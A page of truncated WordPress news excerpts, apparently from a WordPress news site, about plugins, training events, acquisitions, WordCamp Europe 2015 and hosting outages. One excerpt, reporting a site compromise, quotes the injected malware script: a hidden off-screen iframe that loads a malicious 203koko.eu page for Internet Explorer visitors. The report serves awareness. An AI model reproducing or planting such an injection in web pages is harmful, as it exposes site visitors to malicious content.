iThemes will be conducting a free online training event next week for those who are interested in getting started with WordPress. The Intro to WordPress Web Design course will run from February 18 – 20 and will cover everything from learning how to set up a site to working with plugins and management tools: Understand…
Drew Jaynes, who is leading the release cycle for WordPress 4.2 announced on the Make.WordPress.core blog, that a new community initiative has been launched called NUX or New User Experience. The group is made up of more than 15 members of the WordPress community who have experience in onboarding clients, training clients, and work with…
The Custom Metaboxes and Fields for WordPress (CMB2) plugin is now officially out of beta and ready for public use. The tool was created to make it easy for developers to create metaboxes and forms with custom fields. Developers at WebDevStudios took over the original CMB GitHub repository from Jared Atchison, its original creator, in…
WooThemes announced this week that it will be retiring @WooSupport, its Twitter support account, in favor of other support channels. Social media manager Marina Pape reports that support at the company is otherwise healthy. “On the contrary, our support is cooking with Customer Happiness this week averaging 90%, all support teams coming in under 24…
Four hours ago, users seeking support on WordPress.org reported malware injected into their sites from an unknown source. The vulnerability allows for an iframe to be injected, redirecting to a “203koko” site. [html light=”true”] <script>/*<![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(‘ <div style="position:absolute;left:-2000px;width:2000px"><iframe src="http://203koko.eu/hjnfh/ipframe2.php" width="20" height="30" ></iframe></div>’);}/*]]>*/</script> [/html] After working together to determine the plugins they have in common, users identified…
Last week WordPress.com announced that Google Analytics is now available for its customers on the business tier, which is priced at $299.00 per year. Users have been clamoring for the feature for years. While many enjoy using the built-in Stats feature, it is severely limited in comparison to Google Analytics and the data is not…
Human Made has acquired Australian based WordPress development agency Sennza. Human Made is a development shop with more than 20 employees and has offices scattered across the world. They’re also a WordPress.com VIP partner. Sennza and its three employees will continue to work from their office and become Human Made Australia. The move gives Human…
Roughly one year ago this month Pippin Williamson made the first commit to Easy Digital Download’s “Library” repository on GitHub. He created the library to be a community-maintained repository of code snippets that modify the default behavior of Easy Digital Downloads. So far the library has received 113 commits from eight contributors, which has resulted…
If you create plugins and themes for clients and host them on GitHub, then you may have encountered the hassle of having to move those files over to your client’s installation. On super cheap hosting packages, where SSH access is not an option, this process inevitably requires manually copying files over via FTP. This is…
Over the weekend, I stumbled across a new resource called WP and Legal Stuff run by Richard Best, a qualified lawyer in New Zealand, England, and Wales. The site focuses on legal matters related to WordPress and open source. Recent articles include: Using the WordPress trademarks for your business, product or service The GPL and…
Online community building is like gardening. Whether you’re running an active blog, moderating forums, or managing a social network, you will encounter challenges in maintaining growth. Experienced community builders have a wealth of knowledge to share with those who are new to it, especially when it comes to recognizing and mitigating toxic elements, fertilizing to…
WordPress plugin authors have a great deal of liberty when it comes to structuring and organizing their code. There’s no prescribed file structure, so when you look under the hood of a plugin, you often need to poke around a bit to find out how the author is organizing things. Jason Agnew found this to…
The WordCamp Europe organization team announced today that the 2015 event will be held in Seville, Spain from June 26 – 28 at the Barceló Gran Hotel Renacimiento. Last year’s WordCamp in Sofia, Bulgaria was a tremendous success with nearly 800 attendees, a world-class speaker lineup, and a strong local community of volunteers. Ordinarily, the…
Last week, Pressable was engaged in a 24/7 struggle to keep its customers’ sites operational. The recent outages caused some customers 24+ hours of downtime and many closed their accounts in favor of finding an alternative host. Today the company announced that the root cause of the outage customers experienced the week of January 19,…
GenerateWP, the popular WordPress code generator site, is celebrating two years in operation this week. The site, founded by Rami Yushuvaev, launched with five code generators and now has more than 20. Yushuvaev sees the site as an educational tool that helps WordPress developers learn more about coding best practices. Before launching GenerateWP, Yushuvaev created…